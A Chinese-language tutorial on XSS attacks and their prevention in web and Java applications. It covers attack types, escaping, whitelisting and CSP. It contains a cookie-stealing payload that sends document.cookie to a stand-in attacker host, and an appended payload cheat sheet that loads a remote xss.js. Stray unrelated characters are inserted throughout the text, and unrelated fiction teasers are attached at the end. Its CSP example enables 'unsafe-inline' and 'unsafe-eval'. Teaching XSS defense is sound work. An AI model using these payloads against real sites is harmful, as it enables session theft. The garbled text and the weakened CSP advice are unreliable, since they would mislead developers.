java 最新Xss攻擊與防護(hù)(全方位360°詳解)

看完了,發(fā)現(xiàn)對(duì)你有用的話,點(diǎn)個(gè)贊哈

java 最新Xss攻擊與防護(hù)(全方位360°詳解)


知識(shí)圖譜

image.png

前沿

XSS防范屬于前端還是后端的責(zé)任 ?

  1. XSS 防范是后端 RD(研發(fā)人員)的責(zé)任,后端 RD 應(yīng)該在所有用戶提交數(shù)據(jù)的接口,對(duì)敏感字符進(jìn)行轉(zhuǎn)義,才能進(jìn)行下一步操作。
  2. 所有要插入到頁(yè)面上的數(shù)據(jù),都要通過一個(gè)敏感字符過濾函數(shù)的轉(zhuǎn)義存皂,過濾掉通用的敏感字符后,就可以插入到頁(yè)面中逢艘。
  3. 公司的搜索頁(yè)面如果你是下面的寫法旦袋。那么他可能存在Xss注入
<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
  您搜索的關(guān)鍵詞是:<%= getParameter("keyword") %>
</div>

1. 什么是xss攻擊?

Xss 即(Cross Site Scripting)中文名稱為:跨站腳本攻擊它改。XSS的重點(diǎn)不在于跨站點(diǎn)疤孕,而在于腳本的執(zhí)行

1.1 原理

惡意代碼未經(jīng)過濾央拖,與網(wǎng)站正常的代碼混在一起祭阀;瀏覽器無法分辨哪些腳本是可信的鹉戚,導(dǎo)致惡意腳本被執(zhí)行。而由于直接在用戶的終端執(zhí)行专控,惡意代碼能夠直接獲取用戶的信息抹凳,或者利用這些信息冒充用戶向網(wǎng)站發(fā)起攻擊者定義的請(qǐng)求。

1.2 分類

Xss攻擊最主要有如下分類:反射型Xss(非持久型)伦腐、存儲(chǔ)型Xss(持久型)和DOM Xss赢底。

1.2.1 反射型Xss(了解)

  • 原理

    反射性xss一般指攻擊者通過特定的方式來誘惑受害者去訪問一個(gè)包含惡意代碼的URL。當(dāng)受害者點(diǎn)擊惡意鏈接url的時(shí)候柏蘑,惡意代碼會(huì)直接在受害者的主機(jī)上的瀏覽器執(zhí)行幸冻。

  • 步驟

  1. 攻擊者在url后面的參數(shù)中加入惡意攻擊代碼。
  2. 當(dāng)用戶打開帶有惡意代碼的URL的時(shí)候咳焚,網(wǎng)站服務(wù)端將惡意代碼從URL中取出洽损,拼接在html中并且返回給瀏覽器端。
  3. 用戶瀏覽器接收到響應(yīng)后執(zhí)行解析革半,其中的惡意代碼也會(huì)被執(zhí)行到趁啸。
  4. 攻擊者通過惡意代碼來竊取到用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站。攻擊者會(huì)獲取到比如cookie等信息督惰,然后使用該信息來冒充合法用戶的行為,調(diào)用目標(biāo)網(wǎng)站接口執(zhí)行攻擊等操作旅掂。
  • 演示
<title>csrf攻擊</title>

<a href="http://localhost:3001/xss">xxs 攻擊</a>
<a href="http://localhost:3001/testcookie">testcookie 攻擊</a>
//第一個(gè)鏈接 可以彈出指定的彈窗
router.get('/xss', (ctx, next) => {
  ctx.body = '<script>alert("反射型 XSS 攻擊")</script>';
});
//獲取當(dāng)前的所有cookie
router.get('/testcookie', (ctx, next) => {
  console.log(ctx.cookies.get('connect.sid'));
  ctx.body = '<script>alert("'+ctx.cookies.get('connect.sid')+'")</script>';
  next();
});

1.2.2 存儲(chǔ)型Xss(了解)

  • 原理

主要是將惡意代碼上傳或存儲(chǔ)到服務(wù)器中赏胚,下次只要受害者瀏覽包含此惡意代碼的頁(yè)面就會(huì)執(zhí)行惡意代碼。

  • 場(chǎng)景

比如我現(xiàn)在做了一個(gè)博客網(wǎng)站商虐,然后攻擊者在上面發(fā)布了一篇文章觉阅,內(nèi)容是如下:<script>window.open("www.gongji.com?param="+document.cookie)</script> 如果我沒有對(duì)該文章進(jìn)行任何處理的話,直接存入到數(shù)據(jù)庫(kù)中秘车,那么下一次當(dāng)其他用戶訪問該文章的時(shí)候典勇,服務(wù)器會(huì)從數(shù)據(jù)庫(kù)中讀取后然后響應(yīng)給客戶端,那么瀏覽器就會(huì)執(zhí)行這段腳本叮趴,然后攻擊者就會(huì)獲取到用戶的cookie割笙,然后會(huì)把cookie發(fā)送到攻擊者的服務(wù)器上了。

  • 步驟
  1. 攻擊者將惡意代碼提交到目標(biāo)網(wǎng)站數(shù)據(jù)庫(kù)中眯亦。
  2. 用戶打開目標(biāo)網(wǎng)站時(shí)伤溉,網(wǎng)站服務(wù)器將惡意代碼從數(shù)據(jù)庫(kù)中取出,然后拼接到html中返回給瀏覽器中妻率。
  3. 用戶瀏覽器接收到響應(yīng)后解析執(zhí)行乱顾,那么其中的惡意代碼也會(huì)被執(zhí)行。
  4. 那么惡意代碼執(zhí)行后宫静,就能獲取到用戶數(shù)據(jù)走净,比如上面的cookie等信息券时,那么把該cookie發(fā)送到攻擊者網(wǎng)站中,那么攻擊者拿到該
    cookie然后會(huì)冒充該用戶的行為伏伯,調(diào)用目標(biāo)網(wǎng)站接口等違法操作橘洞。

1.2.3 DOM-based型Xss(了解)

  • 原理

我們客戶端的js可以對(duì)頁(yè)面dom節(jié)點(diǎn)進(jìn)行動(dòng)態(tài)的操作,比如插入舵鳞、修改頁(yè)面的內(nèi)容震檩。比如說客戶端從URL中提取數(shù)據(jù)并且在本地執(zhí)行、如果用戶在客戶端輸入的數(shù)據(jù)包含了惡意的js腳本的話蜓堕,但是這些腳本又沒有做任何過濾處理的話抛虏,那么我們的應(yīng)用程序就有可能受到DOM-based Xss的攻擊

  • 步驟
  1. 攻擊者構(gòu)造出特殊的URL套才、在其中可能包含惡意代碼迂猴。
  2. 用戶打開帶有惡意代碼的URL。
  3. 用戶瀏覽器收到響應(yīng)后解析執(zhí)行背伴。前端使用js取出url中的惡意代碼并執(zhí)行沸毁。
  4. 執(zhí)行時(shí),惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站中傻寂,那么攻擊者網(wǎng)站拿到這些數(shù)據(jù)去冒充用戶的行為操作息尺。調(diào)用目標(biāo)網(wǎng)站接口
    執(zhí)行攻擊者一些操作。
  • 攻擊代碼

  • 使用document.write直接輸出導(dǎo)致瀏覽器解析惡意代碼

  • 使用innerHTML直接輸出導(dǎo)致瀏覽器解析惡意代碼

  • 使用location/location.href/location.replace/iframe.src 造成的XSS

<script type="text/javascript">
    var s = location.search;            // 返回URL中的查詢部分(疾掰?之后的內(nèi)容)
    // 為了方便演示搂誉,我們假如url是 如下這樣的
    // http://127.0.0.1/xsstest.html?url=javascript:alert('xsstest'); 
    // 然后我們的是 s 的值就為如下:
    s = "?url=javascript:alert('xsstest')";
    s = s.substring(1, s.length);       // 返回整個(gè)查詢內(nèi)容
    var url = "";                       // 定義變量url
    if (s.indexOf("url=") > -1) {       // 判斷URL是否為空 
      var pos = s.indexOf("url=") + 4;  // 過濾掉"url="字符
      url = s.substring(pos, s.length);  // 得到地址欄里的url參數(shù)
    } else {
      url = "url參數(shù)為空";
    }
    document.write('url: <a href="' + url + '">"' + url + '"</a>'); 
</script>

2. Xss有什么危害?

2.1 劫持訪問

劫持訪問就是在惡意腳本中插入諸如的代碼静檬,那么頁(yè)面就會(huì)跳轉(zhuǎn)到百度首頁(yè).像http://qq.com這樣的域名下出現(xiàn)非持久型XSS炭懊,那么在發(fā)送釣魚鏈接時(shí)就可以通過http://qq.com等域名進(jìn)行跳轉(zhuǎn),一般人一看到http://qq.com之類的域名警惕性會(huì)下降拂檩,也就更容易上當(dāng)了侮腹。

2.2 盜用cookie實(shí)現(xiàn)無密碼登錄

由于盜取的cookie需要傳回給攻擊者,因此往往需要一個(gè)服務(wù)器來接收盜取的cookie稻励。

2.3 配合csrf攻擊完成惡意請(qǐng)求

Csrf攻擊就是在未經(jīng)你許可的情況下用你的名義發(fā)送惡意請(qǐng)求(比如修改密碼父阻,銀行轉(zhuǎn)賬等)

2.4 其他危害

  1. DOS(拒絕服務(wù))客戶端瀏覽器。
  2. 掛馬
  3. 劫持用戶Web行為钉迷,甚至進(jìn)一步滲透內(nèi)網(wǎng)至非。
  4. 刪除目標(biāo)文章、惡意篡改數(shù)據(jù)糠聪、嫁禍荒椭。
  5. 蠕蟲式掛馬攻擊、刷廣告舰蟆、刷瀏量趣惠、破壞網(wǎng)上數(shù)據(jù)
  6. 蠕蟲式的DDoS攻擊狸棍。

3. 防范手段

3.1 兩大要素

XSS 攻擊有兩大要素:

  1. 攻擊者提交惡意代碼(輸入過濾)。
  2. 瀏覽器執(zhí)行惡意代碼味悄。

xss攻擊要能達(dá)成往往需要較長(zhǎng)的字符串草戈,因此對(duì)于一些可以預(yù)期的輸入可以通過限制長(zhǎng)度強(qiáng)制截?cái)鄟磉M(jìn)行防御。

3.2 預(yù)防方案

3.2.1 輸入過濾

  • 對(duì)輸入的內(nèi)容諸如<script>侍瑟、<img>唐片、<a>等標(biāo)簽進(jìn)行過濾
  • 其次是編碼。像一些常見的符號(hào)涨颜,如<>在輸入的時(shí)候要對(duì)其進(jìn)行轉(zhuǎn)換編碼费韭,這樣做瀏覽器是不會(huì)對(duì)該標(biāo)簽進(jìn)行解釋執(zhí)行的,同時(shí)也不影響顯示效果庭瑰。

3.2.2 預(yù)防存儲(chǔ)型和反射型 Xss 攻擊

預(yù)防這兩種漏洞星持,有兩種常見做法:

  • 改成純前端渲染,把代碼和數(shù)據(jù)分隔開弹灭。
  • 對(duì) HTML 做充分轉(zhuǎn)義督暂。
3.2.2.1 純前端渲染

純前端渲染的過程:

  1. 瀏覽器先加載一個(gè)靜態(tài) HTML,此 HTML 中不包含任何跟業(yè)務(wù)相關(guān)的數(shù)據(jù)穷吮。
  2. 然后瀏覽器執(zhí)行 HTML 中的 JavaScript逻翁。
  3. JavaScript 通過 Ajax 加載業(yè)務(wù)數(shù)據(jù),調(diào)用 DOM API 更新到頁(yè)面上捡鱼。
3.2.2.2 轉(zhuǎn)義 HTML

如果拼接 HTML 是必要的卢未,就需要采用合適的轉(zhuǎn)義庫(kù),對(duì) HTML 模板各處插入點(diǎn)進(jìn)行充分的轉(zhuǎn)義堰汉。

對(duì)于 HTML 轉(zhuǎn)義通常只有一個(gè)規(guī)則,就是把 & < > " ' / 這幾個(gè)字符轉(zhuǎn)義掉伟墙,確實(shí)能起到一定的 XSS 防護(hù)作用翘鸭,但并不完善:

所以要完善 Xss 防護(hù)措施,我們要使用更完善更細(xì)致的轉(zhuǎn)義策略戳葵。

例如 Java 工程里就乓,常用的轉(zhuǎn)義庫(kù)為 org.owasp.encoder

3.2.3 輸入內(nèi)容長(zhǎng)度控制

對(duì)于不受信任的輸入,都應(yīng)該限定一個(gè)合理的長(zhǎng)度拱烁。雖然無法完全防止 Xss 發(fā)生生蚁,但可以增加 Xss 攻擊的難度。

對(duì)于明確的輸入類型戏自,例如數(shù)字邦投、URL、電話號(hào)碼擅笔、郵件地址等等內(nèi)容志衣,進(jìn)行輸入過濾還是必要的屯援。

3.2.4 Cookie的安全設(shè)置

  • HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入后也無法竊取此 Cookie念脯。
    • http-only: 只允許http或https請(qǐng)求讀取cookie狞洋、JS代碼是無法讀取cookie的(document.cookie會(huì)顯示http-only的cookie項(xiàng)被自動(dòng)過濾掉)。發(fā)送請(qǐng)求時(shí)自動(dòng)發(fā)送cookie.
    • secure-only: 只允許https請(qǐng)求讀取绿店,發(fā)送請(qǐng)求時(shí)自動(dòng)發(fā)送cookie吉懊。
    • host-only: 只允許主機(jī)域名與domain設(shè)置完成一致的網(wǎng)站才能訪問該cookie。

3.2.5 安全驗(yàn)證

  • 驗(yàn)證碼:防止腳本冒充用戶提交危險(xiǎn)操作假勿。

3.2.6 開啟CSP網(wǎng)頁(yè)安全政策

Content-Security-Policy 中文的意思是 網(wǎng)頁(yè)安全政策借嗽,

CSP是網(wǎng)頁(yè)安全政策(Content Security Policy)的縮寫。主要用來防止Xss攻擊废登。是一種由開發(fā)者定義的安全性政策申明淹魄,通過CSP所約束的責(zé)任指定可信的內(nèi)容來源,通過 Content-Security-Policy 網(wǎng)頁(yè)的開發(fā)者可以控制整個(gè)頁(yè)面中 外部資源 的加載和執(zhí)行堡距。
比如可以控制哪些 域名下的靜態(tài)資源可以被頁(yè)面加載甲锡,哪些不能被加載。這樣就可以很大程度的防范了 來自 跨站(域名不同) 的腳本攻擊

我們只需要在meta屬性中設(shè)置下即可:如下代碼:
<meta http-equiv="Content-Security-Policy" content="
default-src http: https:  *.xxx.com 'self' 'unsafe-inline' ;
style-src 'self' 'unsafe-inline' *.yyy.com;
script-src 'self' 'unsafe-inline' 'unsafe-eval' ;
">
  • default-src 給下面所有的規(guī)則設(shè)定一個(gè)默認(rèn)值
  • script-src 外部腳本
  • style-src 樣式表
  • img-src 圖像
  • media-src 媒體文件(音頻和視頻)
  • font-src 字體文件
  • object-src 插件(比如 Flash)
  • child-src 框架

3.2.7 避免內(nèi)聯(lián)事件

避免內(nèi)聯(lián)事件 盡量不要使用 onLoad="onload('{{data}}')"羽戒、onClick="go('{{action}}')" 這種拼接內(nèi)聯(lián)事件的寫法缤沦。在 JavaScript 中通過 .addEventlistener() 事件綁定會(huì)更安全。

4. 總結(jié)

整體的 XSS 防范是非常復(fù)雜和繁瑣的易稠,我們不僅需要在全部需要轉(zhuǎn)義的位置缸废,對(duì)數(shù)據(jù)進(jìn)行對(duì)應(yīng)的轉(zhuǎn)義。而且要防止多余和錯(cuò)誤的轉(zhuǎn)義驶社,避免正常的用戶輸入出現(xiàn)亂碼企量。

雖然很難通過技術(shù)手段完全避免 XSS,但我們可以總結(jié)以下原則減少漏洞的產(chǎn)生:

  • 利用模板引擎 開啟模板引擎自帶的 HTML 轉(zhuǎn)義功能亡电。例如: 在 ejs 中届巩,盡量使用 <%= data %> 而不是 <%- data %>; 在 doT.js 中份乒,盡量使用 {{! data } 而不是 {{= data }恕汇; 在 FreeMarker 中,確保引擎版本高于 2.3.24或辖,并且選擇正確的 freemarker.core.OutputFormat瘾英。
  • 避免內(nèi)聯(lián)事件 盡量不要使用 onLoad="onload('{{data}}')"onClick="go('{{action}}')" 這種拼接內(nèi)聯(lián)事件的寫法颂暇。在 JavaScript 中通過 .addEventlistener() 事件綁定會(huì)更安全缺谴。
  • 避免拼接 HTML 前端采用拼接 HTML 的方法比較危險(xiǎn),如果框架允許耳鸯,使用 createElement瓣赂、setAttribute 之類的方法實(shí)現(xiàn)榆骚。或者采用比較成熟的渲染框架煌集,如 Vue/React 等妓肢。
  • 時(shí)刻保持警惕 在插入位置為 DOM 屬性、鏈接等位置時(shí)苫纤,要打起精神碉钠,嚴(yán)加防范。
  • 增加攻擊難度卷拘,降低攻擊后果 通過 CSP喊废、輸入長(zhǎng)度配置、接口安全措施等方法栗弟,增加攻擊的難度污筷,降低攻擊的后果。
  • 主動(dòng)檢測(cè)和發(fā)現(xiàn) 可使用 XSS 攻擊字符串和自動(dòng)掃描工具尋找潛在的 XSS 漏洞乍赫。

5. 真實(shí)場(chǎng)景(搜索場(chǎng)景)

某天瓣蛀,公司需要一個(gè)搜索頁(yè)面,根據(jù) URL 參數(shù)決定關(guān)鍵詞的內(nèi)容

1. 原始版本

<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
  您搜索的關(guān)鍵詞是:<%= getParameter("keyword") %>
</div>

當(dāng)執(zhí)行 http://xxx/search?keyword="><script>alert('XSS');</script>雷厂,服務(wù)端會(huì)解析出請(qǐng)求參數(shù) keyword惋增,得到 "><script>alert('XSS');</script>,拼接到 HTML 中返回給瀏覽器,頁(yè)面就出現(xiàn)如下內(nèi)容改鲫,alert 會(huì)彈出兩次诈皿。

<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索</button>
<div>
  您搜索的關(guān)鍵詞是:"><script>alert('XSS');</script>
</div>

2. Xss的轉(zhuǎn)義攻擊

<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>">
<button>搜索</button>
<div>
  您搜索的關(guān)鍵詞是:<%= escapeHTML(getParameter("keyword")) %>
</div>

escapeHTML() 按照如下規(guī)則進(jìn)行轉(zhuǎn)義:|字符|轉(zhuǎn)義后的字符| |-|-| |&|&| |<|<| |>|>| |"|"| |'|'| |/|/|

經(jīng)過了轉(zhuǎn)義函數(shù)的處理后,最終瀏覽器接收到的響應(yīng)為:

<input type="text" value="&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;">
<button>搜索</button>
<div>
  您搜索的關(guān)鍵詞是:&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;
</div>

小結(jié)論

  • 通常頁(yè)面中包含的用戶輸入內(nèi)容都在固定的容器或者屬性內(nèi)像棘,以文本的形式展示稽亏。
  • 攻擊者利用這些頁(yè)面的用戶輸入片段,拼接特殊格式的字符串缕题,突破原有位置的限制措左,形成了代碼片段。
  • 攻擊者通過在目標(biāo)網(wǎng)站上注入腳本避除,使之在用戶的瀏覽器上運(yùn)行,從而引發(fā)潛在風(fēng)險(xiǎn)胸嘁。
  • 通過 HTML 轉(zhuǎn)義瓶摆,可以防止 XSS 攻擊。性宏。

3. Xss過濾攻擊

當(dāng)請(qǐng)求為:http://xxx/?redirect_to=javascript:alert('XSS') 時(shí)

<a href="<%= escapeHTML(getParameter("redirect_to")) %>">跳轉(zhuǎn)...</a>

當(dāng)攻擊 URL 為 http://xxx/?redirect_to=javascript:alert('XSS')群井,服務(wù)端響應(yīng)就成了:

<a href="javascript:alert(&#x27;XSS&#x27;)">跳轉(zhuǎn)...</a>

雖然代碼不會(huì)立即執(zhí)行,但一旦用戶點(diǎn)擊 a 標(biāo)簽時(shí)毫胜,瀏覽器會(huì)就會(huì)彈出“XSS”书斜。

解決方案 過濾

// 禁止 URL 以 "javascript:" 開頭
xss = getParameter("redirect_to").startsWith('javascript:');
if (!xss) {
  <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
    跳轉(zhuǎn)...
  </a>
} else {
  <a href="/404">
    跳轉(zhuǎn)...
  </a>
}

4. Xss的大小寫攻擊

當(dāng)請(qǐng)求為:http://xxx/?redirect_to=%20javascript:alert('XSS') 時(shí)

%20javascript:alert('XSS') 經(jīng)過 URL 解析后變成 javascript:alert('XSS')诬辈,這個(gè)字符串以空格開頭。這樣攻擊者可以繞過后端的關(guān)鍵詞規(guī)則荐吉,又成功的完成了注入焙糟。

解決方案 白名單

// 根據(jù)項(xiàng)目情況進(jìn)行過濾,禁止掉 "javascript:" 鏈接样屠、非法 scheme 等
allowSchemes = ["http", "https"];

valid = isValid(getParameter("redirect_to"), allowSchemes);

if (valid) {
  <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
    跳轉(zhuǎn)...
  </a>
} else {
  <a href="/404">
    跳轉(zhuǎn)...
  </a>
}

大結(jié)論

  • 在 HTML 中內(nèi)嵌的文本中穿撮,惡意內(nèi)容以 script 標(biāo)簽形成注入。
  • 在內(nèi)聯(lián)的 JavaScript 中痪欲,拼接的數(shù)據(jù)突破了原本的限制(字符串悦穿,變量,方法名等)业踢。
  • 在標(biāo)簽屬性中栗柒,惡意內(nèi)容包含引號(hào),從而突破屬性值的限制知举,注入其他屬性或者標(biāo)簽瞬沦。
  • 在標(biāo)簽的 href、src 等屬性中负蠕,包含 javascript: 等可執(zhí)行代碼蛙埂。
  • 在 onload、onerror遮糖、onclick 等事件中绣的,注入不受控制代碼。
  • 在 style 屬性和標(biāo)簽中欲账,包含類似 background-image:url("javascript:..."); 的代碼(新版本瀏覽器已經(jīng)可以防范)屡江。
  • 在 style 屬性和標(biāo)簽中,包含類似 expression(...) 的 CSS 表達(dá)式代碼(新版本瀏覽器已經(jīng)可以防范)赛不。

總之惩嘉,如果開發(fā)者沒有將用戶輸入的文本進(jìn)行合適的過濾,就貿(mào)然插入到 HTML 中踢故,這很容易造成注入漏洞文黎。攻擊者可以利用漏洞,構(gòu)造出惡意的代碼指令殿较,進(jìn)而利用惡意代碼危害數(shù)據(jù)安全耸峭。

6. 附常見的XSS攻擊方法

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
  • IMG標(biāo)簽XSS
<IMG SRC=http://3w.org/XSS/xss.js/>
  • IMG標(biāo)簽無分號(hào)無引號(hào)
<IMG SRC=javascript:alert('XSS')>
  • HTML編碼(必須有分號(hào))
<IMG SRC=javascript:alert("XSS")>
  • 換碼過濾的JavaScript
\";alert('XSS');//
  • 結(jié)束Title標(biāo)簽
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
  • Iframe
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
  • DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
  • 節(jié)省[http:]
<A >XSS</A>

標(biāo)注:有任何不妥的地方望糾正

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市淋纲,隨后出現(xiàn)的幾起案子劳闹,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 211,194評(píng)論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件本涕,死亡現(xiàn)場(chǎng)離奇詭異业汰,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)菩颖,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,058評(píng)論 2 385
  • 文/潘曉璐 我一進(jìn)店門样漆,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人位他,你說我怎么就攤上這事氛濒。” “怎么了鹅髓?”我有些...
    開封第一講書人閱讀 156,780評(píng)論 0 346
  • 文/不壞的土叔 我叫張陵舞竿,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我窿冯,道長(zhǎng)骗奖,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,388評(píng)論 1 283
  • 正文 為了忘掉前任醒串,我火速辦了婚禮执桌,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘芜赌。我一直安慰自己仰挣,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,430評(píng)論 5 384
  • 文/花漫 我一把揭開白布缠沈。 她就那樣靜靜地躺著膘壶,像睡著了一般。 火紅的嫁衣襯著肌膚如雪洲愤。 梳的紋絲不亂的頭發(fā)上颓芭,一...
    開封第一講書人閱讀 49,764評(píng)論 1 290
  • 那天,我揣著相機(jī)與錄音柬赐,去河邊找鬼亡问。 笑死,一個(gè)胖子當(dāng)著我的面吹牛肛宋,可吹牛的內(nèi)容都是我干的州藕。 我是一名探鬼主播,決...
    沈念sama閱讀 38,907評(píng)論 3 406
  • 文/蒼蘭香墨 我猛地睜開眼酝陈,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼床玻!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起后添,我...
    開封第一講書人閱讀 37,679評(píng)論 0 266
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后遇西,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體馅精,經(jīng)...
    沈念sama閱讀 44,122評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,459評(píng)論 2 325
  • 正文 我和宋清朗相戀三年粱檀,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了洲敢。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,605評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡茄蚯,死狀恐怖压彭,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情渗常,我是刑警寧澤壮不,帶...
    沈念sama閱讀 34,270評(píng)論 4 329
  • 正文 年R本政府宣布,位于F島的核電站皱碘,受9級(jí)特大地震影響询一,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜癌椿,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,867評(píng)論 3 312
  • 文/蒙蒙 一健蕊、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧踢俄,春花似錦缩功、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,734評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至脆丁,卻和暖如春世舰,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背槽卫。 一陣腳步聲響...
    開封第一講書人閱讀 31,961評(píng)論 1 265
  • 我被黑心中介騙來泰國(guó)打工跟压, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人歼培。 一個(gè)月前我還...
    沈念sama閱讀 46,297評(píng)論 2 360
  • 正文 我出身青樓震蒋,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親躲庄。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,472評(píng)論 2 348

推薦閱讀更多精彩內(nèi)容